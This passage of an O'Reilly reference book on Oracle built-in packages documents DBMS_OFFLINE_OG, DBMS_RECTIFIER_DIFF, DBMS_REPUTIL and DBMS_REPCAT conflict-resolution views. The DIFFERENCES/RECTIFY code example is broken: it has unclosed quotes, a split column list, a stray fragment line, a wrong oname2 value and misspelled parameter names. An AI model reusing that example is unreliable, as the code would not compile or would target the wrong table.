6 | New site | DBMS_OFFLINE_OG.BEGIN_LOAD
7 | New site | Import data from step 4
8 | New site | DBMS_OFFLINE_OG.END_LOAD
9 | Master definition site | DBMS_OFFLINE_OG.END_INSTANTIATION

The following scenario shows how instantiate a new site. Here we add the site D7NY.BIGWHEEL.COM to the replication group SPROCKET using DBMS_OFFLINE_OG. Assume that the master definition site is D7CA.BIGWHEEL.COM.

  1. From master definition site D7CA.BIGWHEEL.COM, we add the new master site, quiesce the replication group, and call DBMS_OFFLINE_OG.BEGIN_INSTANTIATION.

        BEGIN
        DBMS_REPCAT.ADD_MASTER_DATABASE(
            gname		=> 'SPROCKET',
            master		=>'D7NY.BIGWHEEL.COM');;
        DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY(gname => 'SPROCKET');
        DBMS_OFFLINE_OG.BEGIN_INSTANTIATION(
            gname		=>	'SPROCKET',
            new_site		=> 'D7NY.BIGWHEEL.COM');
    END;

  2. Perform export of schema SPROCKET from any existing master site.

  3. Call RESUME_SUBSET_OF_MASTERS at master definition site.

  4. Call BEGIN_LOAD from the new master site D7NY.BIGWHEEL.COM.

        BEGIN
        DBMS_OFFLINE_OG.BEGIN_LOAD(
            gname	=> 'SPROCKET',
            new_site=> 'D7NY.BIGWHEEL.COM');
    END;

  5. Import the SPROCKET schema into D7NY.BIGWHEEL.COM using the export file created in step 2.

  6. Call END_LOAD from the new master site, D7NY.BIGWHEEL.COM.

        BEGIN
        DBMS_OFFLINE_OG.END_LOAD(
            gname	=> 'SPROCKET',
            new_site=> 'D7NY.BIGWHEEL.COM');
    END;

  7. Call END_INSTANTIATION from the master definition site.

        BEGIN
        DBMS_OFFLINE_OG.END_INSTANTIATION(
            gname => 'SPROCKET',
            new_site => 'D7NY.BIGWHEEL.COM');
    END;

15.4.2.2 The DBMS_OFFLINE_OG.BEGIN_LOAD procedure

Call the BEGIN_LOAD procedure from the new master site before you begin importing data. The specification follows:

PROCEDURE DBMS_OFFLINE_OG.BEGIN_LOAD
   (gname IN VARCHAR2,
    new_site IN VARCHAR2);

These parameters are identical to those described for the BEGIN_INSTANTIATION procedure. See that section as well for an example of using the procedures in the DBMS_OFFLINE_OG procedure.

15.4.2.2.1 Exceptions

The BEGIN_LOAD procedure may raise the following exceptions:

Name | Number | Description
badargument | -23430 | gname is NULL or ` '
missingrepgroup | -23373 | Group gname does not exist
wrongsite | -23433 | Raised if BEGIN_LOAD or END_LOAD is executed at a site other than new_site
wrongstate | -23431 | Group gname is not in NORMAL state at the master definition site

15.4.2.2.2 Restrictions

The procedures in DBMS_OFFLINE_OG must be called in the appropriate order from the appropriate sites. The example under BEGIN_INSTANTIATION illustrates the proper use of this package.

15.4.2.3 The DBMS_OFFLINE_OG.END_INSTANTIATION procedure

You call the END_INSTANTIATION procedure from the master definition site to flag the end of offline instantiation. The specification follows:

PROCEDURE DBMS_OFFLINE_OG.END_INSTANTIATION
   (gname IN VARCHAR2,
    new_site IN VARCHAR2);

These parameters are identical to those described for the BEGIN_INSTANTIATION procedure. See that section as well for an example of using the procedures in the DBMS_OFFLINE_OG package.

15.4.2.3.1 Exceptions

The END_INSTANTIATION procedure may raise the following exceptions:

Name | Number | Description
badargument | -23430 | gname is NULL or ` '
missingrepgroup | -23373 | Group gname does not exist
nonmasterdef | -23312 | Routine is not being called from master definition site
sitealreadyexists | -23432 | New_site already exists
wrongstate | -23431 | Group gname is not in NORMAL state at the master definition site

15.4.2.3.2 Restrictions

The procedures in DBMS_OFFLINE_OG must be called in the appropriate order from the appropriate sites. The example under BEGIN_INSTANTIATION illustrates the proper use of this package.

15.4.2.4 The DBMS_OFFLINE_OG.END_LOAD procedure

Call the END_LOAD procedure from the new master site when you are finished importing data. The specification follows:

PROCEDURE DBMS_OFFLINE_OG.END_LOAD
   (gname IN VARCHAR2,
    new_site IN VARCHAR2);

These parameters are identical to those described for the BEGIN_INSTANTIATION procedure. See that section as well for an example of using the procedures in the DBMS_OFFLINE_OG package.

15.4.2.4.1 Exceptions

The END_LOAD procedure may raise the following exceptions:

Name | Number | Description
badargument | -23430 | gname is NULL or ` '
missingrepgroup | -23373 | Group gname does not exist
wrongsite | -23433 | Raised if BEGIN_LOAD or END_LOAD is executed at a site other than new_site
wrongstate | -23431 | Group gname is not in NORMAL state at master definition site

15.4.2.4.2 Restrictions

The procedures in DBMS_OFFLINE_OG must be called in the appropriate order from the appropriate sites. The example under BEGIN_INSTANTIATION illustrates the proper use of this package.

15.4.2.5 The DBMS_OFFLINE_OG.RESUME_SUBSET_OF_MASTERS procedure

Call this procedure from the master definition site to resume replication activity for existing sites while the new site is instantiated. The specification follows:

PROCEDURE DBMS_OFFLINE_OG.RESUME_SUBSET_OF_MASTERS
   (gname IN VARCHAR2,
    new_site IN VARCHAR2);

These parameters are identical to those described for the BEGIN_INSTANTIATION procedure. See that section as well for an example of using the procedures in the DBMS_OFFLINE_OG package.

15.4.2.5.1 Exceptions

The RESUME_SUBSET_OF_MASTERS procedure may raise the following exceptions:

Name | Number | Description
badargument | -23430 | gname is NULL or ` '
missingrepgroup | -23373 | Group gname does not exist
nonmasterdef | -23312 | Routine is not being called from master definition site
sitealreadyexists | -23432 | New_site already exists
wrongstate | -23431 | Group gname is not in NORMAL state at master definition site

15.4.2.5.2 Restrictions

The procedures in DBMS_OFFLINE_OG must be called in the appropriate order from the appropriate sites. The example under BEGIN_INSTANTIATION illustrates the proper use of this package.

Previous: 15.3 DBMS_REPCAT: Replication Environment Administration | Oracle Built-in Packages | Next: 15.5 DBMS_RECTIFIER_DIFF: Comparing Replicated Tables
15.3 DBMS_REPCAT: Replication Environment Administration | Book Index | 15.5 DBMS_RECTIFIER_DIFF: Comparing Replicated Tables
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.5 DBMS_RECTIFIER_DIFF: Comparing Replicated Tables

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

15.5 DBMS_RECTIFIER_DIFF: Comparing Replicated Tables

If you are not sure whether the data at two sites are identical, you can use the DBMS_RECTIFIER_DIFF package to find out. The DIFFERENCES procedure compares the data in a table at a master site with the same table at a reference site. After determining the differences, you can use DBMS_RECTIFIER_DIFF.RECTIFY to synchronize the tables.

15.5.1 Getting Started with DBMS_RECTIFIER_DIFF

The DBMS_RECTIFIER_DIFF package is created when the Oracle database is installed. The dbmsrepc.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The wrapped sql script prvtrctf.sql creates the public synonym DBMS_RECTIFIER_DIFF. No EXECUTE privileges are granted on DBMS_RECTIFIER_DIFF; only the owner (SYS) and those with the EXECUTE ANY PROCEDURE system privilege may execute the package.

Table 15.6 summarizes the DBMS_RECTIFIER_DIFF programs.

Table 15.6: DBMS_RECTIFIER_DIFF.DIFFERENCES Programs
Name | Description | Use in SQL?
DIFFERENCES | Determines differences between truth table and comparison table | No
RECTIFY | Synchronizes comparison table with truth table | No

15.5.2 DBMS_RECTIFIER_DIFF Interface

This section describes the programs available in the DBMS_RECTIFIER_DIFF package.

15.5.2.1 The DBMS_RECTIFIER.DIFFERENCES procedure

The DIFFERENCES procedure compares the data in a table at a master site with the same table at a reference site. The reference need not be the master definition site.

The procedure stores discrepancies between the reference table and comparison table in a "missing rows" table, which the user must create. It populates the table specified by the missing_rows_oname1 parameter with rows that exist in the reference table but not the comparison table, and rows that exist in the comparison table but not the reference table. The table identified by the missing_rows_oname2 parameter has one record for every record in missing_rows_oname1, which identifies which site has the record.

Here is the specification:

PROCEDURE DBMS_RECTIFIER_DIFF.DIFFERENCES
  (sname1 IN VARCHAR2,
   oname1 IN VARCHAR2,
   reference_site IN VARCHAR2 := '',
   sname2 IN VARCHAR2,
   oname2 IN VARCHAR2,
   comparison_site IN VARCHAR2 := '',
   where_clause IN VARCHAR2 := '',
   {column_list IN VARCHAR2 := '' |
   array_columns IN dbms_utility.name_array,},
   missing_rows_sname IN VARCHAR2,
   missing_rows_oname1 IN VARCHAR2,
   missing_rows_oname2 IN VARCHAR2,
   missing_rows_site IN VARCHAR2 := '',
   max_missing IN INTEGER,
   commit_rows IN INTEGER := 500);

Parameters are summarized in the following table.

Name | Description
sname1 | Name of schema that owns oname1.
oname1 | Table at reference_site (truth table).
reference_site | The global_name of site with truth table. If NULL or ` ' (default), truth table is assumed to be local.
sname2 | Name of schema that owns oname2.
oname2 | The comparison table.
comparison_site | or ` ', table is assumed to be local.
where_clause | Optional predicate that can be used to limit set of rows compared (e.g.,`WHERE STATE = `CA'').
column_list | Comma-separated list of one or more columns whose values are to be compared. If NULL or ` ' (default), then all columns are used. There should not be any whitespace after the commas.
array_columns | PL/SQL table of column names; either column_list or array_columns can be passed, not both.
missing_rows_sname | Name of schema that owns missing_rows_oname1.
missing_rows_oname1 | Name of table containing records that do not exist in both truth table and comparison table.
missing_rows_oname2 | Table that holds information telling which table owns each record in missing_rows_oname1.
missing_rows_site | The global_name of site where tables missing_rows_oname1 and missing_rows_oname2 exist; if NULL or ` ' (default), tables are assumed to be local.
max_missing | The maximum number or rows to insert into missing_rows_oname1 before exiting; can be any value > 1.
comming_rows | Commit rows inserted into missing_row_oname1 after this many records.

15.5.2.1.1 Exceptions

The DIFFERENCES procedure may raise the following exceptions:

Name | Number | Description
badmrname | -23377 | The oname1 is the same as missing_rows_oname1
badname | -23368 | The sname, oname, missing_rows_sname, or missing_rows_oname is NULL or ` '
badnumber | -23366 | The max_missing is less than 1 or NULL
dbms_repcat.commfailure | -23302 | Remote site is not accessible
dbms_repcat.missingobject | -23308 | The tables oname1, oname2, missing_rows_oname1, or missing_rows_oname2 do not exist
nosuchsite | -23365 | The reference_site, comparison_site, or missing_rows_site does not name a site

15.5.2.1.2 Restrictions

Note the following restrictions on calling the DIFFERENCES procedure:

  • You must create tables missing_rows_sname.missing_rows_oname1 and missing_rows_sname.missing_rows_oname2 before running this procedure.

  • The columns in table missing_rows_oname1 must match the columns passed to column_list or array_columns exactly.

  • The replication group to which the tables belong must be quiesced.

15.5.2.1.3 Example

For an example of how to use the DIFFERENCES procedure, see the example under the RECTIFY procedure.

15.5.2.2 The DBMS_RECTIFIER_DIFF.RECTIFY procedure

The DIFFERENCES procedure paves the way for its companion procedure, RECTIFY, which synchronizes the reference table. Before running the RECTIFY procedure, always make sure that the updates to the comparison table will not violate any integrity, check, or NOT NULL constraints. Note that this procedure does not modify the reference table. Here's the specification:

PROCEDURE DBMS_RECTIFIER_DIFF.RECTIFY
   (sname1 IN VARCHAR2,
   oname1 IN VARCHAR2,
   reference_site IN VARCHAR2 := '',
   sname2 IN VARCHAR2,
   oname2 IN VARCHAR2,
   comparison_site IN VARCHAR2 := '',
   {column_list IN VARCHAR2 := '' |
   array_columns IN dbms_utility.name_array},
   missing_rows_sname IN VARCHAR2,
   missing_rows_oname1 IN VARCHAR2,
   missing_rows_oname2 IN VARCHAR2,
   missing_rows_site IN VARCHAR2 := '',
   commit_rows IN INTEGER := 500);

Parameters are summarized in the following table.

Name | Description
sname1 | Name of schema that owns oname1.
oname1 | Table at reference_site (truth table).
reference_site | The global_name of site with truth table; if NULL or ` ' (default), truth table is assumed to be local.
sname2 | Name of schema that owns oname2.
oname2 | The comparison table.
comparison_site | The global_name of the site with comparison table. If NULL or ` ', table is assumed to be local.
column_list | A comma-separated list of one or more columns whose values are to be compared; if NULL or ` ' (default), then all columns are used. There should not be any white space after the commas.
array_columns | PL/SQL table of column names; either column_list or array_columns can be passed, not both.
missing_rows_sname | Name of schema that owns missing_rows_oname1.
missing_rows_oname1 | The name of the table containing records that do not exist in both truth table and comparison table.
missing_rows_oname2 | The table that holds information telling which table owns each record in missing_rows_oname1.
missing_rows_site | The global_name of the site where tables missing_rows_oname1 and missing_rows_oname2 exist; if NULL or ` ' (default), tables are assumed to be local.
comming_rows | Commit rows inserted into missing_row_oname1 after this many records.

15.5.2.2.1 Exceptions

The RECTIFY procedure may raise the following exceptions:

Name | Number | Description
badname | -23368 | The sname, oname, missing_rows_sname, or missing_rows_oname is NULL or ` '
badnumber | -23366 | The max_missing is less than 1 or NULL
dbms_repcat.commfailure | -23302 | Remote site is not accessible
dbms_repcat.missingobject | -23308 | The tables oname1, oname2, missing_rows_oname1, or missing_rows_oname2 do not exist
dbms_repcat.norepoption | -2094 | Replication option is not linked to kernel
nosuchsite | -23365 | The reference_site, comparison_site, or missing_rows_site does not name a site

15.5.2.2.2 Restrictions

Note the following restrictions on calling RECTIFY:

  • The DIFFERENCES procedure must have been run prior to running RECTIFY.

  • The replication group to which the tables belong should still be quiesced.

  • If duplicate rows exist in the reference table but not the comparison table they will be inserted into the comparison table.

  • If duplicate rows exist in the comparison table but not the reference table they will be deleted from the comparison table.

15.5.2.2.3 Example

Assume that the table SPROCKET.DAILY_SALES is replicated between sites D7CA.BIGWHEEL.COM (the references site) and D7NY.BIGWHEEL.COM (the comparison site). The following table shows the description of the DAILY_SALES table.

Column Name | Data Type
sales_id | NUMBER(9)
distributor_id | NUMBER(6)
product_id | NUMBER(9)
units | NUMBER(9,2)

The following steps executed at D7CA.BIGWHEEL.COM would populate the tables missing_rows_daily_sales and missing_location_daily_sales and rectify these differences. These steps should be executed under the designated replication administrator account. Note that storage parameters are left out of the example for the sake of brevity and clarity, but they should be included whenever you run the DBMS_RECTIFIER_DIFF.DIFFERENCES procedure.

    CREATE TABLE missing_rows_daily_sales (
    sales_id	NUMBER(9),
    distributor_id	NUMBER(6),
    product_id	NUMBER(9),
    units		NUMBER(9,2)
    );

    CREATE TABLE missing_location_daily_sales (
    present	VARCHAR2(128),
    absent	VARCHAR2(128),
    r_id	ROWID
    );

    BEGIN
        DBMS_REPCAT.SUSPEND_MASTER_ACTIVITY('SPROCKET');

        DBMS_RECTIFIER_DIFF.DIFFERENCES( -
            sname1			=> 'SPROCKET',
            oname1			=> 'DAILY_SALES',
            reference_site		=> 'D7CA.BIGWHEEL.COM',
            sname2			=> 'SPROCKET',
            oname2			=> 'SPROCKET',
            comparison_site		=> 'D7NY.BIGWHEEL.COM',
            where_clause		=> NULL,
            column_list		=> 'SALES_ID,DISTRIBUTOR_ID,PRODUCT_		            							  ID,UNITS',
            missing_rows_sname	=> 'REPADMIN',
            missing_rows_oname1	=> 'MISSING_ROWS_DAILY_SALES',
            missing_rows_oname2	=> 'MISSING_LOCATIONS_DAILY_SALES ,
            missing_rows_site	=> 'D7CA.BIGWHEEL.COM',
            max_missing		=> 500,
            comit_rows		=> 100);

        DBMS_RECTIFIER_DIFF.RECTIFY( -
            sname1			=> 'SPROCKET',
            oname1			=> 'DAILY_SALES',
            reference_site		=> 'D7CA.BIGWHEEL.COM',
            sname2			=> 'SPROCKET',
            oname2			=> 'SPROCKET',
            comparison_site		=> 'D7NY.BIGWHEEL.COM',
                               ID,UNITS',
            missing_rows_sname	=> 'REPADMIN',
            missing_rows_oname1	=> 'MISSING_ROWS_DAILY_SALES',
            missing_rows_oname2	=> 'MISSING_LOCATIONS_DAILY_SALES -
            missing_rows_site	=> 'D7CA.BIGWHEEL.COM',
            comit_rows		=> 100);
    END;

TIP: These procedures can take a long time to run. If the volume of data is significant, it will probably be easier for you to simply reinstantiate the comparison table by importing an export of the reference table.

Previous: 15.4 DBMS_OFFLINE_OG: Performing Site Instantiation | Oracle Built-in Packages | Next: 15.6 DBMS_REPUTIL: Enabling and Disabling Replication
15.4 DBMS_OFFLINE_OG: Performing Site Instantiation | Book Index | 15.6 DBMS_REPUTIL: Enabling and Disabling Replication
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.6 DBMS_REPUTIL: Enabling and Disabling Replication

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

15.6 DBMS_REPUTIL: Enabling and Disabling Replication

Situations will arise when you need to perform DML on a replicated table without propagating the changes to other master sites. For example, if you have resolved a conflict and wish to update a row manually, you would not want to propagate your change. Or you might have a trigger on a replicated table that you want to fire only for updates that originate locally. The DBMS_REPUTIL package allows you to control whether updates propagate for the current session.

15.6.1 Getting Started with DBMS_REPUTIL

The DBMS_REPUTIL package is created when the Oracle database is installed. The dbmsgen.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The script creates the public synonym DBMS_REPUTIL for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

Table 15.7 lists the programs available in this package.

Table 15.7: DBMS_REPUTIL Programs
Name | Description | Use in SQL?
REPLICATION_OFF | Turns replication off for the current session | No
REPLICATION_ON | Turns replication on for the current session | No

15.6.2 DBMS_REPUTIL Interface

This section describes the programs available in the DBMS_REPUTIL package.

15.6.2.1 DBMS_REPUTIL.REPLICATION_OFF procedure

The REPLICATION_OFF procedure works by setting a package variable off. The replication triggers can subsequently query this variable. This procedure is as simple as it can be: no parameters and no exceptions.

PROCEDURE DBMS_REPUTIL.REPLICATION_OFF;

15.6.2.2 DBMS_REPUTIL.REPLICATION_ON procedure

The REPLICATION_ON procedure reverses the effect of the REPLICATION_OFF procedure. It sets the package variable on. The specification follows:

PROCEDURE DBMS_REPUTIL.REPLICATION_ON;

Previous: 15.5 DBMS_RECTIFIER_DIFF: Comparing Replicated Tables | Oracle Built-in Packages | Next: 16. Conflict Resolution
15.5 DBMS_RECTIFIER_DIFF: Comparing Replicated Tables | Book Index | 16. Conflict Resolution
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 16] Conflict Resolution

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 15.6 DBMS_REPUTIL: Enabling and Disabling Replication Chapter 16 Next: 16.2 Column Groups with DBMS_REPCAT

16. Conflict Resolution

Contents:
Getting Started with DBMS_REPCAT
Column Groups with DBMS_REPCAT
Priority Groups with DBMS_REPCAT
Site Priority Groups with DBMS_REPCAT
Assigning Resolution Methods with DBMS_REPCAT
Monitoring Conflict Resolution with DBMS_REPCAT

Conflict resolution is perhaps the most difficult challenge for the administrator of a replicated environment that uses asynchronous replication. A conflict can arise when an insert, update, or delete to a replicated table occurs at two or more master sites. Oracle detects conflicts at the destination site when attempting to apply the changes. Three different types of conflicts can arise:

Insert conflicts

An inserted row has a primary key that already exists at the destination site.

Update conflicts

The pre-update data in a row at the originating site does not match the current data at the destination site.

Delete conflicts

A deleted row does not exist at the destination site.

Through the DBMS_REPCAT package, Oracle's advanced replication option gives you tools for identifying and resolving conflicts automatically. The goal is to ensure that data at all master sites converges -- that is, all rows end up with identical data at all sites.

WARNING: The procedures described in this chapter are no substitute for careful application and schema design, and they can't resolve all conflicts.

16.1 Getting Started with DBMS_REPCAT

Use the DBMS_REPCAT package to deal with conflict resolution. As we've seen in previous chapters, DBMS_REPCAT is an enormous package whose programs perform many different types of operations. Chapter 14, Snapshots, describes the snapshot-related programs; Chapter 15, Advanced Replication, describes the programs you call to create and maintain replicated environments. This chapter focuses on the programs you use in DBMS_REPCAT conflict resolution.

The DBMS_REPCAT package is created when the Oracle database is installed. The dbmsrepc.sql script (found in the built-in packages source directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The script creates the public synonym DBMS_REPCAT. The package procedure DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT grants EXECUTE privileges on the package to the specified grantee. In addition, the package owner (SYS) and users with the EXECUTE ANY PROCEDURE system privilege may execute it.

16.1.1 DBMS_REPCAT Programs

Table 16-1 summarizes the DBMS_REPCAT procedures used in conflict resolution, and lists all of the programs in alphabetical order. In the sections that follow, we divide these programs by category (column groups, priority groups, site priorities, resolution method assignment, and conflict resolution monitoring). For example, the section "Column Groups" describes only the column group programs.

Table 16.1: DBMS_REPCAT Program (Conflict Resolution Only)
Name | Description | Use in SQL?
ADD_GROUPED_COLUMN | Adds table column(s) to an existing column group | No
ADD_PRIORITY_<datatype> | Adds a member to an existing priority group | No
ADD_SITE_PRIORITY_SITE | Adds a site to an existing site priority group | No
ADD_<conflicttype>_RESOLUTION | Adds custom conflict resolution handler for update, delete, or uniqueness conflicts | No
ALTER_PRIORITY | Changes priority level for a member of a priority group | No
ALTER_PRIORITY_<datatype> | Alters the value of a member of a priority group | No
ALTER_SITE_PRIORITY | Alters priority level of a site | No
ALTER_SITE_PRIORITY_SITE | Designates a site to a given priority level | No
CANCEL_STATISTICS | Cancels collection of statistics about conflict resolution for a table | No
COMMENT_ON_COLUMN_GROUP | Creates or updates a comment on a column group, visible in DBA_REPCOLUMN_GROUP data dictionary view | No
COMMENT_ON_PRIORITY_GROUP | Creates or updates comment on a priority group, visible in DBA_REPPRIORITY_GROUP | No
COMMENT_ON_SITE_PRIORITY | Creates or updates a comment on a site priority, visible in DBA_REPRIORITY_GROUP data dictionary view | No
COMMENT_ON_<conflicttype>_ RESOLUTION | Creates a comment on a conflict resolution method, visible in DBA_REPRESOLUTION data dictionary view | No
DEFINE_COLUMN_GROUP | Creates an empty column group for a replication group | No
DEFINE_PRIORITY_GROUP | Creates a priority group for a replication group | No
DEFINE_SITE_PRIORITY | Creates a site priority group for a replication group | No
DROP_COLUMN_GROUP | Drops a column group from a replication group | No
DROP_GROUPED_COLUMN | Drops a column from a column group | No
DROP_PRIORITY | Drops a member of a priority group, selected by priority level | No
DROP_PRIORITY_GROUP | Drops a priority group from a replication group | No
DROP_PRIORITY_<datatype> | Drops a member of a priority group, selected by value | No
DROP_SITE_PRIORITY | Drops a site priority group from a replication group | No
DROP_SITE_PRIORITY_SITE | Drops a site from a site priority group, selected by site name | No
DROP_<conflicttype>_RESOLUTION | Drops an update, delete, or uniqueness conflict resolution handling technique from a replication group | No
MAKE_COLUMN_GROUP | Creates a column group and adds one or more columns | No
PURGE_STATISTICS | Deletes entries from the DBA_REPRESOLUTION_STATISTICS data dictionary view | No
REGISTER_STATISTICS | Starts collection of statistics for the resolution of update, delete, and uniqueness conflicts for a given table | No

16.1.2 DBMS-REPCAT Exceptions

Table 16.2 lists the exceptions that may be raised by programs in the DBMS_REPCAT package that are specific to conflict resolution. Specific sections list the exceptions that may be raised by individual programs in DBMS_REPCAT.

Table 16.2: DBMS_REPCAT Exceptions (Conflict Resolution Only)
Name | Number | Description
duplicatecolumn | -23333 | Attempt to add duplicate column to column group
duplicategroup | -23330 | Attempt to add duplicate column group to a replicated table
duplicateprioritygroup | -23335 | Attempt to create duplicate priority group
duplicaterepgroup | -23374 | Attempt to create duplicate snapshot replication group
duplicateresolution | -23339 | Attempt to create duplicate resolution method
duplicateschema | -23307 | Attempt to create duplicate replication group
duplicatevalue | -23338 | Attempt to create duplicate value in a priority group
invalidmethod | -23340 | Attempt to use nonexistent conflict resolution method
invalidparameter | -23342 | Invalid number of columns in call to ADD_UNIQUE_RESOLUTION
missingcolumn | -23334 | Reference to nonexistent column
missingconstraint | -23344 | Missing constraint (used internally)
missingfunction | -23341 | User function does not exist
missinggroup | -23331 | Column group does not exist
missingobject | -23308 | Object does not exist as a table
missingprioritygroup | -23336 | Priority group does not exist
missingrepgroup | -23373 | Replication group does not exists
missingresolution | -23343 | Reference conflict resolution method does not exist
missingschema | -23306 | Schema does not exist
missingvalue | -23337 | Missing value (used internally)
nonmasterdef | -23312 | Site is not a master definition site
nonsnapshot | -23314 | Site is not a snapshot site
paramtype | -23325 | Invalid parameter type (used internally)
referenced | -23332 | Attempt to drop column group used for conflict resolution
statnotreg | -23345 | Conflict resolution statistics not registered (used internally)
typefailure | -23319 | Attempt to replicate nonsupported datatype

16.1.3 DBMS-REPCAT Nonprogram Elements

In addition to programs and exceptions, the DBMS_REPCAT package defines the following constant used for conflict resolution:

VARCHAR2S

PL/SQL table of VARCHAR2(60) indexed by BINARY INTEGER.

16.1.4 Data Dictionary Views

Oracle provides a number of data dictionary views that are useful for analyzing the status and volume of conflicts, as listed in Table 16.3.

Table 16.3: Data Dictionary Views Associated with Conflict Resolution
View Name | Description
DBA_REPCOLUMN_GROUP | Contains information about column groups.
DBA_REPCONFLICT | Contains information about all conflict resolution methods that have been defined.
DBA_REPGROUPED_ COLUMN | Contains information about all columns that are members of column groups.
DBA_REPPARAMETER_COLUMN | Contains information about columns that are designated to resolve conflicts. These columns have been passed in the list_of_column_names parameter of DBMS_REPCAT.ADD_<conflicttype>_RESOLUTION.
DBA_REPPRIORITY | Contains information about every value and priority that has been defined for all priority groups and site priority groups.
DBA_REPPRIORITY_GROUP | Contains information about all priority groups and site priority groups.
DBA_REPRESOLUTION | Contains information about the conflict resolution technique that has been defined for all conflict types.
DBA_REPRESOL_STATS_CONTROL | Contains information about statistics that have been gathered for conflict resolution.
DBA_REPRESOLUTION_METHOD | Contains information about all available conflict resolution methods.
DBA_REPRESOLUTION_STATISTICS | If resolution statistics are being collected, contains information about the execution of conflict resolution handlers.

Tables 16-4 through 16-14 describe the contents of these views.

Table 16.4: Columns in DBA_REPCOLUMN_GROUP View
Column Name | Description
sname | Schema that owns table oname
oname | Name of the replicated table
group_name | Name of the column group
group_comment | Comment for the column group

Table 16.5: Columns in DBA_REPCONFLICT View
Column Name | Description
sname | Schema that owns table oname.
oname | Name of the replicated table.
conflict_type | Type of conflict the resolution method resolves.
reference_name | For DELETE conflicts, the table name. For UNIQUENESS conflicts, the unique constraint name. For UPDATE conflicts, the column group name.

Table 16.6: Columns in DBA_REPGROUPED_COLUMN View
Column Name | Description
sname | Schema that owns table oname
oname | Name of the replicated table
group_name | Name of the column group
group_comment | Comment for the column group

Table 16.7: Columns in DBA_REPPARAMETER_COLUMN View
Column Name | Description
sname | Schema that owns table oname.
oname | Name of the replicated table.
conflict_type | Type of conflict the method resolves.
reference_name | For DELETE conflicts, the table name. For UNIQUENESS conflicts, the unique constraint name. For UPDATE conflicts, the column group name.
sequence_no | Order in which the method is attempted. 1 is first.
method_name | Name of the built-in resolution method, or `USER FUNCTION' for user defined methods.
function_name | Name of the user defined function (if applicable).
priority_group | Name of the priority group (if applicable).
parameter_table_name | Name of the PL/SQL table containing columns that are passed to the resolution method.
parameter_column_name | Name of the column passed to parameter_column_name in ADD_<confllicttype>_RESOLUTION call.
parameter_sequence_no | Position of the column in the parameter_column_name parameter.

Table 16.8: Columns in DBA_REPPRIORITY View
Column Name | Description
sname | Name of the replicated schema. Obsolete with Version 7.3 onwards; replace by gname.
priority_group | Name of the priority group.
priority | Priority level (the higher the number, the higher the priority).
data_type | Datatype of the priority group.
fixed_data_length | Maximum length for CHAR datatypes.
char_value | For CHAR priority groups, the value associated with the priority.
varchar2_value | For VARCHAR2 priority groups, the value associated with the priority.
number_value | For NUMBER priority groups, the value associated with the priority.
date_value | For DATE priority groups, the value associated with the priority.
raw_value | For RAW priority groups, the value associated with the priority.
gname | Name of the replication group.
nchar_value (Oracle8 only) | For NCHAR priority groups, the value associated with the priority.
nvarchar2_value (Oracle8 only) | For NVARCHAR2 priority groups, the value associated with the priority.
large_char_value (Oracle8 only) | For LARGE_CHAR priority groups, the value associated with the priority.

Table 16.9: Columns in DBA_REPPRIORITY_GROUP View
Column Name | Description
sname | Name of the replicated schema. Obsolete with Version 7.3 onwards; replace by gname.
priority_group | Name of the priority group or site priority group.
data_type | Datatype of the priority group.
fixed_data_length | Maximum length for CHAR datatypes.
priority_comment | Comment for priority group.
gname | Replication group to which priority group belongs.

Table 16.10: Columns in DBA_REPRESOLUTION View
Column Name | Description
sname | Schema that owns table oname.
oname | Name of the replicated table.
conflict_type | Type of conflict the method resolves.
reference_name | For DELETE conflicts, the table name. For UNIQUENESS conflicts, the unique constraint name. For UPDATE conflicts, the column group name.
sequence_no | Order in which the method is attempted. 1 is first.
method_name | Name of the built-in resolution method, or USER FUNCTION for user-defined methods.
function_name | Name of the user-defined function (if applicable).
priority_group | Name of the priority group (if applicable).
resolution_comment | Comment on the resolution method.

Table 16.11: Columns in DBA_REPRESOL_STATS_CONTROL View
Column Name | Description
sname | Schema that owns table oname
oname | Name of the replicated table
created | Date statistics were first collected
status | Current status of statistics collection (ACTIVE or CANCELLED)
status_update_date | Date of last update to status
purged_date | Date of last purge of statistics
last_purge_start_date | Start Date passed to last call to PURGE_STATISTICS
last_purge_end_date | End Date passed to last call to PURGE_STATISTICS

Table 16.12: Columns in DBA_REPRESOLUTION_METHOD View
Column Name | Description
conflict_type | Type of conflict the method resolves (UPDATE, UNIQUENESS, or DELETE)
method_name | Name of the built in method, or name of user-supplied function

Table 16.13: Columns in DBA_REPRESOLUTION_STATISTICS View
Column Name | Description
sname | Schema that owns table oname.
oname | Name of the replicated table.
conflict_type | Type of conflict that Oracle resolved successfully (UPDATE, UNIQUENESS, or DELETE).
reference_name | For DELETE conflicts, the table name. For UNIQUENESS conflicts, the unique constraint name. For UPDATE conflicts, the column group name.
method_name | Name of the built-in resolution method, or `USER FUNCTION' for user defined methods.
function_name | Name of the user defined function (if applicable).
priority_group | Name of the priority group (if applicable).
resolved_date | Date Oracle resolved the conflict.
primary_key_value | Value of the primary key for the resolved row.

